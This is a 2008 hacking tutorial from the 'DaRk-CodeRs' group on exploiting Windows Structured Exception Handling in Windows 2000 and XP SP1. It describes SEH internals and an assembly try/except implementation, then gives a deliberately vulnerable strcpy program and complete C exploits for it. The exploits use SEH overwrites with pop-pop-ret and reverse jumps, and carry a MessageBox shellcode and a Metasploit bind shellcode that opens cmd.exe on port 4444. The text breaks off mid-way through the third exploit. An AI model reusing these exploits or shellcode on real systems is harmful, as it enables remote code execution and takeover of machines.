..//..//..//..//..//.|.\\..\\.\\..\\..\\.. [-] [+] [+] Playing around with (old?)SEH [-] [-] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [+] [+] [-] [-] bY suN8Hclf aka crimsoN_Loyd9 [+] [+] [-] [-] DaRk-CodeRs Group production, kid [+] [+] [-] [-] www.dark-coders.pl [+] [+] [-] [-] 08.06.2008 [+] [+] [-] [-] suN8Hclf[at]vp{dot}.pl [+] [+] crimson{dot}loyd[at]gmail{dot}com [-] [-] [+] ..\\..\\..\\..\\..\\.|.//..//..//..//..//.. [>>1<<]. Introduction [>>2<<]. SEH (Structured Exception Handler) [>>3<<]. Coding SEH [>a<] introduction [>b<] implementation [>>4<<]. Exploiting SEH [>a<] shellcodes [>b<] vulnerable vuln.exe [>c<] WIN2000 vs. WINXP SP1 (EBX vs. ESP) [***exploit1.c](classic overflow) [***exploit2.c](using 2 bytes short reverse jump) [***exploit3.c](using long reverse jump) [***exploit4.c](execution in TEB block) [>>5<<]. Summary [>>6<<]. Further reading [>>7<<]. Greetz NOTE: Please excuse my poor English, its not my mother language. ><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*>< > [>>1<<]. Introduction < >---------------------------------------------------------< This paper is about a very powerful but not so good documented mechanism, which was introduced and implemented in Windows 2000 SP1-SP4 and XP SP0-SP1, and is called Structured Exception Handler (in summary SEH). Someone can think that writing about quite old implementations is wasting of time, in times when we have protections such as DEP (Data Execution Prevention), /GS or /SAFESEH switches. But, in my opinion, this paper contains a good introduction into the SEH's workings and provides firm bases to understand exploitation methods in Windows Server 2003, Windows XP SP2 or Windows Vista platforms. This paper is an attempt to show and discuss SEH, from the coding and exploitation side. At the beginning, I will show how to write our own implementation of try, except and finally instructions, later I will discuss some methods of abusing SEH and at the end, I will show 4 completely working exploits, which abuses SEH to execute any code. For better understanding of this paper, I recommend you to read my article: "Shellcode locations and buffer overflows in Windows" [1] Ok, so lets go!!! ><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*>< > [>>2<<]. SEH (Structured Exception Handler) < >---------------------------------------------------------< Structured Exception Handler is a piece of code, that is executed in case of a problem during the execution of a process. This problem can be: 1.disruption of the access privilidges 2.division by 0 3.an attempt to read or write from/to forbidden memory areas It can be also used as a trick to complicate debugging process. When we call a function, a special "frame of calling" is created on the stack. The information about exception handler procedure is than put down into that "frame of calling" in the EXCEPTION_REGISTRATION structure. This structure contains two elements: a pointer to the next EXCEPTION_REGISTRATION structure (*next) and a pointer to the right exception handler procedure (*handler). It is very important that every process's thread has at least one exception handler procedure, that is created (the EXCEPTION_REGISTRATION structure) during the thread creation and it is always located at the beginning of the segment pointed by FS register. The last position on the list, contains -1(0xFFFFFFFF) value and the address of RtlUnwind funtion, which is not documented but it is located in kernel32.dll library. EXCEPTION_REGISTRATION structure looks like the following(C style): typedef struct EXCEPTION_REGISTRATION{ EXCEPTION_REGISTRATION *next; PEXCETION_HANDLER *handler; }EXCEPTION_REGISTRATION, *PEXCEPTION_REGISTRATION; And the linked list of EXCEPTION_REGISTRATION structures looks like this: __________________________________ |Thread Information Block(fs:[0])|----------+ | ... | | | ... | | | EXCEPTION_REGISTRATION | | +--------------------------------+ | | | +----------------------------------+ | | EXCEPTION_REGISTRATION | <-------+ +----------------------------------+ | [Handler Callback Pointer] | | | +---------| [*next] | | +----------------------------------+ | | +----------------------------------+ +-------->| EXCEPTION_REGISTRATION | +----------------------------------+ | [Handler Callback Pointer] | | | | [*next] |---------+ +----------------------------------+ | | +----------------------------------+ | | EXCEPTION_REGISTRATION | <-------+ +----------------------------------+ | [Handler Callback Pointer] | | | +--------| [*next] | | +----------------------------------+ | | | +----------------------------------+ +------->| (END OF LIST) | +----------------------------------+ | 0xFFFFFFFF | +----------------------------------+ ><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*>< > [>>3<<]. Coding SEH < >---------------------------------------------------------< Lots of programming languages has a set of special instructions to install exception handler procedures. For instance: In C/C++ there is a construction: try, except/catch, finally, that catches the exception. Basically, this instructions only modify the linked list of EXCEPTION_REGISTRATION structures, therefore we wont use them and for better and deeper understanding of this mechanism, we will write everything in Assembly language(masm32). >>>>>>>>>>>>>>>>[>a<] introduction ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Let's assume that this code appeared in a program(from OllyDbg): 00401000 . B8 40000000 MOV EAX,40 00401005 . 33C9 XOR ECX,ECX 00401007 . F7F9 IDIV ECX 00401009 . 6A 00 PUSH 0 [!] 0040100B . E8 00000000 CALL [!] This code on the 100 percent will raise an exception (division by zero is impossible). The two last instructions wont be executed. Here is a program behaviour when the exception will accure: ntdll!KiUserExceptionDispatcher 77FA15FC 8B1C24 MOV EBX,DWORD PTR SS:[ESP] 77FA15FF 51 PUSH ECX 77FA1600 53 PUSH EBX ; kernel32.79340000 77FA1601 E8 F13AFFFF CALL ntdll.77F950F7 ------+ | | | | 77F950F7 55 PUSH EBP <-------------+ 77F950F8 8BEC MOV EBP,ESP 77F950FA 83EC 60 SUB ESP,60 77F950FD 53 PUSH EBX 77F950FE 56 PUSH ESI ; kernel32.GetProcAddress 77F950FF 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C] 77F95102 57 PUSH EDI ; kernel32.79397598 77F95103 50 PUSH EAX 77F95104 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 77F95107 50 PUSH EAX 77F95108 E8 779AFFFF CALL ntdll.77F8EB84 77F9510D E8 8D9AFFFF CALL ntdll.77F8EB9F 77F95112 8365 FC 00 AND DWORD PTR SS:[EBP-4],0 77F95116 8BD8 MOV EBX,EAX 77F95118 83FB FF CMP EBX,-1 77F9511B 0F84 C1CC0100 JE ntdll.77FB1DE2 77F95121 8B75 08 MOV ESI,DWORD PTR SS:[EBP+8] 77F95124 3B5D F8 CMP EBX,DWORD PTR SS:[EBP-8] ; kernel32.79348EC8 77F95127 8D43 08 LEA EAX,DWORD PTR DS:[EBX+8] 77F9512A 0F82 AECC0100 JB ntdll.77FB1DDE 77F95130 3B45 F4 CMP EAX,DWORD PTR SS:[EBP-C] ; kernel32.7935F0B4 77F95133 0F87 A5CC0100 JA ntdll.77FB1DDE 77F95139 F6C3 03 TEST BL,3 77F9513C 0F85 9CCC0100 JNZ ntdll.77FB1DDE 77F95142 F605 86F5FC77 80 TEST BYTE PTR DS:[77FCF586],80 77F95149 0F85 18CC0100 JNZ ntdll.77FB1D67 77F9514F FF73 04 PUSH DWORD PTR DS:[EBX+4] 77F95152 8D45 F0 LEA EAX,DWORD PTR SS:[EBP-10] 77F95155 50 PUSH EAX 77F95156 FF75 0C PUSH DWORD PTR SS:[EBP+C] 77F95159 53 PUSH EBX 77F9515A 56 PUSH ESI ; kernel32.GetProcAddress 77F9515B E8 E599FFFF CALL ntdll.77F8EB45 -------+ | | | | 77F8EB45 BA B651F977 MOV EDX,ntdll.77F951B6 <---+ 77F8EB4A 55 PUSH EBP 77F8EB4B 8BEC MOV EBP,ESP 77F8EB4D FF75 0C PUSH DWORD PTR SS:[EBP+C] 77F8EB50 52 PUSH EDX 77F8EB51 64:FF35 00000000 PUSH DWORD PTR FS:[0] 77F8EB58 64:8925 00000000 MOV DWORD PTR FS:[0],ESP 77F8EB5F FF75 14 PUSH DWORD PTR SS:[EBP+14] 77F8EB62 FF75 10 PUSH DWORD PTR SS:[EBP+10] 77F8EB65 FF75 0C PUSH DWORD PTR SS:[EBP+C] 77F8EB68 FF75 08 PUSH DWORD PTR SS:[EBP+8] 77F8EB6B 8B4D 18 MOV ECX,DWORD PTR SS:[EBP+18] [4] 77F8EB6E FFD1 CALL ECX [5] This code can be long analized to get to know all details how Windows prepares the handling of exceptions. But, it is not essential at this moment. The most important thing, is to understand general conception, which is presented below: 1. When an exception occures, program jumps to KiUserExceptionDispatcher 2. Then the RTLTraceDatabaseEnumerate function's code is executed 3. Later, the piece of RTLConvertlongToLargeInteger's code 4. Finally, the address of the exception handler procedure is loaded into ECX register ([4]).This is the address from the first structure pointed by fs:[0]. 5. There is a jump to the exception handler procedure (call ECX) ([5]) 6. Now the exception handler procedure has the full control over a program's behaviour. This procedure can for example close the process in the "elegant" way or try to repair the "thing", that caused an exception. >>>>>>>>>>>>>>[>b<] implementation ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Now, when we know the basics of the exceptions handling, we can write our own "implementation" of the try, except/catch, finally construction. To achieve this we have got to create our own EXCEPTION_REGISTRATION structure and insert it at the beginning of the linked list. So fs:[0] should point to our structure. The general idea is showed below: BEFORE ------------------ fs:[0] ->>> |EXCEPTION_REGISTRATION1| ->>> |EXCEPTION_REGISTRATION2| .... ->>> 0xFFFFFFFF AFTER ------------------ fs:[0] ->>> |OUR_EXCEPTION_REGISTRATION1| ->>> |EXCEPTION_REGISTRATION1| .... ->>>> 0xFFFFFFFF To accomplish the state showed above, we have got to do the following: 1. Save the pointer from FS:[0], that points to the first EXCEPTION_REGISTRATION 2. Create our own EXCEPTION_REGISTRATION structure where: a> the *handler pointer points to our own exception handler procedure b> we set the address to the function, which will be "always" executed (finally instruction) c> the *next pointer points to the remembered address of the original first EXCEPTION_REGISTRATION structure (original FS:[0] value) 3. Set the address from FS:[0] to point to our EXCEPTION_REGISTRATION structure 4. Save current values of the stack pointer and the frame pointer (ESP and EBP) To do the second point we can use the following structure: ---------------------------------CODE---------------------------------- SEH struct PrevLink dd ? ; [1] CurrentHandler dd ? ; [2] SafeOffset dd ? ; [3] PrevEsp dd ? ; [4] PrevEbp dd ? ; [5] SEH ends ---------------------------------CODE---------------------------------- [1] -> address of the first EXCEPTION_REGISTRATION structure (fs:[0]) [2] -> address of our structured handler procedure [3] -> address of the procedure to execute "despite of everything" (finally instruction) [4] -> current ESP value [5] -> current EBP value Next actions: ad 1. push fs:[0] ad 2.a) mov seh.CurrentHandler, OFFSET myFunc b) mov seh.SafeOffset, OFFSET final c) pop seh.PrevLink ad 3. lea eax, seh mov fs:[0], eax ad 4. mov seh.PrevEsp,esp mov seh.PrevEbp,ebp Here is an exemplary program: ---------------------exception_implementation.asm----------------- ; Compilation: ml /Cp /c /coff exception_implementation.asm ; Linking : link /subsystem:windows exception_implementation.obj .386 .model flat,stdcall option casemap:none include d:\masm32\include\windows.inc include d:\masm32\include\kernel32.inc include d:\masm32\include\user32.inc includelib d:\masm32\lib\user32.lib includelib d:\masm32\lib\kernel32.lib SEH struct PrevLink dd ? CurrentHandler dd ? SafeOffset dd ? PrevEsp dd ? PrevEbp dd ? SEH ends .data napis db "IN exception",0 napis2 db "OUT of Exception",0 tytul db "Hello",0 .code start proc LOCAL seh:SEH assume fs:nothing push fs:[0] pop seh.PrevLink mov seh.CurrentHandler,offset SEHHandler mov seh.SafeOffset,offset FinalExit lea eax,seh mov fs:[0], eax mov seh.PrevEsp,esp mov seh.PrevEbp,ebp ; Now the structured handler procedure has been installed. Every exception ; will execute OUR function (SEHHandler) mov eax, 40h mov ecx, 0 idiv ecx ;lets cause an exception... ;> FinalExit: invoke MessageBox, NULL, addr napis2, addr tytul, MB_OK invoke ExitProcess, 0 start endp SEHHandler proc C uses edx pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD mov edx,pFrame assume edx:ptr SEH mov eax,pContext assume eax:ptr CONTEXT push [edx].SafeOffset pop [eax].regEip push [edx].PrevEsp pop [eax].regEsp push [edx].PrevEbp pop [eax].regEbp invoke MessageBox, NULL, ADDR napis,ADDR tytul, MB_OK mov eax,ExceptionContinueExecution ret SEHHandler endp end start ---------------------exception_implementation.asm----------------- ><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*>< > [>>4<<]. Exploiting SEH < >---------------------------------------------------------< >>>>>>>>>>>>>>>>[>a<] shellcodes ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ During this paper I will be using two shellcodes: >The first one<: "\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5B\x33\xC9\x83\xC3" "\x35\x88\x0B\x83\xEB\x06\x53\xB8\xCF\x05\x35\x79\xFF\xD0" "\x33\xC9\x51\x53\x53\x51\x05\x11\x11\x11\x11\x2D\x79\x90" "\x0E\x11\xFF\xD0\x33\xC9\x51\xB8\x1A\xE0\x34\x79\xFF\xD0" "\x75\x73\x65\x72\x33\x32\x61"; In details: 00401B7C EB 02 JMP SHORT vuln.00401B80 00401B7E EB 05 JMP SHORT vuln.00401B85 00401B80 E8 F9FFFFFF CALL vuln.00401B7E 00401B85 5B POP EBX 00401B86 33C9 XOR ECX,ECX 00401B88 83C3 35 ADD EBX,35 00401B8B 880B MOV BYTE PTR DS:[EBX],CL 00401B8D 83EB 06 SUB EBX,6 00401B90 53 PUSH EBX 00401B91 B8 CF053579 MOV EAX,KERNEL32.LoadLibraryA //check the address of LoadLibraryA on your own 00401B96 FFD0 CALL EAX 00401B98 33C9 XOR ECX,ECX 00401B9A 51 PUSH ECX 00401B9B 53 PUSH EBX 00401B9C 53 PUSH EBX 00401B9D 51 PUSH ECX 00401B9E 05 11111111 ADD EAX,11111111 00401BA3 2D 79900E11 SUB EAX,110E9079 00401BA8 FFD0 CALL EAX //here, in eax should be an address of 00401BAA 33C9 XOR ECX,ECX //MessageBoxA function 00401BAC 51 PUSH ECX 00401BAD B8 1AE03479 MOV EAX,KERNEL32.ExitProcess //address of ExitProcess 00401BB2 FFD0 CALL EAX 00401BB4 75 73 JNZ SHORT vuln.00401C29 //coded 'user32.dll' string 00401BB6 65:72 33 JB SHORT vuln.00401BEC 00401BB9 3261 XOR AL,BYTE PTR DS:[EAX] Wow, I have written it under Windows 2000 Service Pack 4 Polish. If you are using another Windows platform, you should change address of LoadLibraryA, MessageBoxA and ExitProcess in kernel32 and User32 to good ones. As you can see, this simple code simply invokes MessageBoxA and then it terminates the process. >The second one< // win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ] //http://metasploit.com unsigned char shellcode[] = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85" "\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19" "\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05" "\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0" "\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74" "\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15" "\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14" "\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53" "\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce" "\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf" "\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb" "\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18" "\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6" "\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16" "\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f" "\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c" "\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18" "\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f" "\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8" "\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e" "\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f" "\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27" "\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2" "\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a" "\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98"; The second, was generated in Metasploit Framework. It binds Windows shell (cmd.exe) to port 4444 and waits for a connection. >>>>>>>>>>[>b<] vulnerable vuln.exe ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Generally speaking, during the process of exploitation, we want to overwrite the *handler pointer. This is the only thing that we have got to do, when we want our code be executed during an exception. Ok, so now an exception accures... Then, the overwritten *handler pointer is loaded into the ECX register and there is a call to it (call ECX). And now we have a problem... Where should we jump? In Windows 2000 SP1-SP4 and Windows XP Unpatched, during the preparation to execute Structured Exception Handler and during the execution of the *handler code, the EBX register points to the current EXCEPTION_REGISTRATION structure. The easiest way to execute our own code looks like the following: 1. The *next field should be overwritten with the short 6 bytes ahead jump 2. The *handler field should be overwritten with a jump to EBX (jmp EBX, call EBX push EBX-ret) 3. We put our shellcode with a NOP sledge behind the EXCEPTION_REGISTRATION structure Before we test this idea, lets write a very easy and vulnerable program: ----------------vuln.c--------------------- #include #include int main(int argc, char *argv[]) { char buffer[300]; int a; strcpy(buffer, argv[1]); [1] a=3/0; [2] return 0; } ---------------vuln.c---------------------- Before we start, lets make some guide lines. First of all, to accomplish the scenario, which I have described above, it is essential to cause an exception in the vulnerable program. If we run the vuln.exe program with a short string, it will crash on the [2] instruction. It will raise an exception, a default *handler procedure will be executed, program will be terminated and we will lose a chance to gain administrator privileges :). On the other side the instuction above[2], copies data to the constant sized buffer on the stack and it does not check the data's length. So we can cause buffer overflows and execute our code. Of course, in practice there would not be instruction[2] because the overwritten EIP register(classic buffer overflow) would cause an exception. [2] is only here, to show that program wont crash during division by 0, and it will execute any code. [NOTE1 !!!!!] ******************************************************************************* *To make our thinking much easier lets assume that 416 bytes is the maximum of* *data that DOES NOT overwrite the *next pointer int the EXCEPTION_REGISTRATION* *structure on the stack. * [NOTE2!!!!] ******************************************************************************* *All constants values in the exploits's code ware counted during testing and * *debugging. It is a mistake to assume that they are good in all conditions. * *If you exactly understand a method of exploitation, you wont have any * *problems to choose the right "constant" values. * >>>>>>>>[>c<] WIN2000 vs. WINXP SP1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ As I have written above in Win2000 and unpatched WINXP, during the preparation to execute and execution of the exception handler procedure, the EBX register points to the current EXCEPTION_REGISTRATION structure. In this case the situation is quite simple. We overwrite the *handler poiner with the jmp to the EBX and we have full control over the program execution. The problem occures in Windows XP SP1. Here, the code, that prepares to pass the control to exception handler procedure, is additionally supplemented with zero-ing "crytical" registers: (from ntdll.dll): 7C903767 53 PUSH EBX 7C903768 56 PUSH ESI 7C903769 57 PUSH EDI ; ntdll.7C910738 7C90376A 33C0 XOR EAX,EAX 7C90376C 33DB XOR EBX,EBX <-- fuck, and what we gonna do now? ;( 7C90376E 33F6 XOR ESI,ESI 7C903770 33FF XOR EDI,EDI ; ntdll.7C910738 Later, there is useless for us code and then there is an execution of the exception handler procedure (the same as in Win2000): (from ntdll.dll) 7C903799 55 PUSH EBP 7C90379A 8BEC MOV EBP,ESP 7C90379C FF75 0C PUSH DWORD PTR SS:[EBP+C] 7C90379F 52 PUSH EDX ; ntdll.7C9037D8 7C9037A0 64:FF35 0000000>PUSH DWORD PTR FS:[0] 7C9037A7 64:8925 0000000>MOV DWORD PTR FS:[0],ESP 7C9037AE FF75 14 PUSH DWORD PTR SS:[EBP+14] 7C9037B1 FF75 10 PUSH DWORD PTR SS:[EBP+10] 7C9037B4 FF75 0C PUSH DWORD PTR SS:[EBP+C] 7C9037B7 FF75 08 PUSH DWORD PTR SS:[EBP+8] 7C9037BA 8B4D 18 MOV ECX,DWORD PTR SS:[EBP+18] <-- *handler to ECX 7C9037BD FFD1 CALL ECX <-- jump to exception handler procedure So, when Windows passes the control to the exception handler procedure, the EBX register contains 0. We cannot simply jump to EBX because this will raise another exception and program will be terminated immediately. The situation seems very bad but if we only look at the stack image before the execution of *handler procedure we will find the solution very fast. ESP -> the return address (somewhere in ntdll.dll) ESP+4 -> the exception's indicator ESP+8 -> the address of the EXCEPTION_REGISTRATION structure So, instead of jumping to EBX we can: 1. jmp dword ptr[esp+8] 2. pop - pop - ret The second sequence will add 8 to ESP and then will jump to the address, that is on the top of the stack. Now, we know everything so we can start exploiting SEH :) @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ &>&>&<&><&>&<>&<>&<&><&>666[***exploit1.c]666<&><&>&<>&<>&<&><&>&<&<& +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ (classic overflow) As I have written before, we pass to the vuln.exe the folowing string: +--------->-------->-----------+ | | [416 bytes of trash][jmp 6][jmp ebx, pop-pop-ret][some NOPs][shellcode] --------------------------------exploit1.c------------------------------- #include #include #include #define RET 0x79396DBE // the address of jmp ebx (win2000) or pop-pop-ret (win XP SP2) #define JUMP 0x909006EB // jmp 6 #define TRASH 0x41 char shellcode[]= "\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5B\x33\xC9\x83\xC3" "\x35\x88\x0B\x83\xEB\x06\x53\xB8\xCF\x05\x35\x79\xFF\xD0" "\x33\xC9\x51\x53\x53\x51\x05\x11\x11\x11\x11\x2D\x79\x90" "\x0E\x11\xFF\xD0\x33\xC9\x51\xB8\x1A\xE0\x34\x79\xFF\xD0" "\x75\x73\x65\x72\x33\x32\x61"; int main(int argc, char *argv[]) { char *bufExe[3]; char buf[700]; int i; char *ptr = buf; memset(buf, 0, sizeof(buf)); bufExe[0] = "vuln.exe"; bufExe[2] = NULL; for(i=0;i<416;i++) (*ptr++) = TRASH; *(unsigned long *)&buf[416] = JUMP; *(unsigned long *)&buf[420] = RET; strcat(buf, "\x90\x90\x90\x90"); strcat(buf, shellcode); bufExe[1] = buf; execve(bufExe[0],bufExe,NULL); return 0; } --------------------------------exploit1.c------------------------------- @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ &>&>&<&><&>&<>&<>&<&><&>666[***exploit2.c]666<&><&>&<>&<>&<&><&>&<&<& +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ (using 2 bytes short reverse jump) Another interesting way to abuse SEH is to use 2-bytes reverse short jump. Instead of placing shellcode behind the EXCEPTION_REGISTRATION structure, we put it in the vuln.exe's buffer and we use short reverse jump to execute the code. A great article about 2-bytes reverse short jumps can be found at[2] +-------<----------<-------<-----------+ | | [NOP Sledge][shellcode][some NOPS][short reverse jump][jmp ebx, pop-pop-ret] --------------------------------exploit2.c------------------------------- #include #include #include #define RET 0x79392C0B //jmp ebx, pop-pop-ret #define JUMP 0x909080EB //short reverse jump (jmp 80) #define TRASH 0x90 char shellcode[] = "\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5B\x33\xC9\x83\xC3" "\x35\x88\x0B\x83\xEB\x06\x53\xB8\xCF\x05\x35\x79\xFF\xD0" "\x33\xC9\x51\x53\x53\x51\x05\x11\x11\x11\x11\x2D\x79\x90" "\x0E\x11\xFF\xD0\x33\xC9\x51\xB8\x1A\xE0\x34\x79\xFF\xD0" "\x75\x73\x65\x72\x33\x32\x61"; int main(int argc, char *argv[]) { char *bufExe[3]; char buf[700]; int i; char *ptr = buf; memset(buf, 0, sizeof(buf)); bufExe[0] = "vuln.exe"; bufExe[2] = NULL; for(i=0;i<310;i++) (*ptr++) = TRASH; strcat(buf, shellcode); for(i=sizeof(shellcode)+307;i<416;i++) strcat(buf, "\x90"); *(unsigned long *)&buf[416] = JUMP; *(unsigned long *)&buf[420] = RET; bufExe[1] = buf; execve(bufExe[0],bufExe,NULL); return 0; } --------------------------------exploit2.c------------------------------- As you can see, it is very important to jump to the NOPS before the shellcode. Short jumps are... SHORT !!! :) so shellcode should be as near as possible to EXCEPTION_REGISTRATION structure. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ &>&>&<&><&>&<>&<>&<&><&>666[***exploit3.c]666<&><&>&<>&<>&<&><&>&<&<& +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ (using long reverse jump) Till now, we were playing with quite small (short) shellcode (the first one). To execute larger shellcodes (400 bytes in our case) we have got to find a place for it. Here the knowledge from my paper [1] will be very very useful. As you probably know, we cannot use the first method to execute our second shellcode because it will be cut (shellcode). The second method with short jump would also fail because the range of the jump is too small. It wont jump over 400 bytes of shellcode + some NOP's. The good idea is a small modyfication of the second method. We also place our shellcode in the vuln.exe's buffer and we ALSO jump there but in another way :) To accomplish it, we have got to know the approximate location of the shellcode on the stack. In case of Win2000 it is very simple, because the EBX register points to the current EXCEPTION_REGISTRATION structure, so the buffer must be somewhere before the structure. But on Win XP SP1 there is a problem because the EBX register is zeroed, therefore we have got to find another point of reference to count the address, where the shellcode was placed. We can use the current stack pointer (ESP). But this time, we have got to add a value to ESP and than jump. --------------------------------exploit3.c------------------------------- #include #include #include #define RET 0x79392C0B //jmp ebx or pop-pop-ret #define JUMP 0x909006EB //jump 6 char shellcode[]= "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85" "\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19" "\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05" "\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0" "\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74" "\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15" "\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14" "\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53" "\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce" "\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf" "\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb" "\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18" "\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6" "\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16" "\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f" "\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c" "\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18" "\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f" "\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8" "\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e" "\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f" "\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27" "\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2" "\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a" "\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98"; //NOTE!: DELETE needless /* WIN 2000 and XP Unpached * EBX-based addressing */ char minicode[] = "\x66\x81\xeb\xa0\x01" //sub bx, 0x1A0 "\xff\xe3"; //jmp bx /* WIN2000, WINXP * Current stack pointer-based addressing */ char minicode[]= "\x89\xe0" //mov eax, esp "\x66\x05\xe4\x03" //add ax, 0x3e4 "\xff\xe0"; //jmp eax int main(int argc, char *argv[]) { char *bufExe[3]; char buf[700]; int i; char *ptr = buf; memset(buf, 0, sizeof(buf)); bufExe[0] = "vuln.exe"; bufExe[2] = NULL; strcpy(buf, "\x90\x90\x90\x90"); strcat(buf, shellcode); for(i=sizeof(shellcode);i<416;i++) strcat(buf, "\x90"); *(unsigned long *)&buf[416] = JUMP; 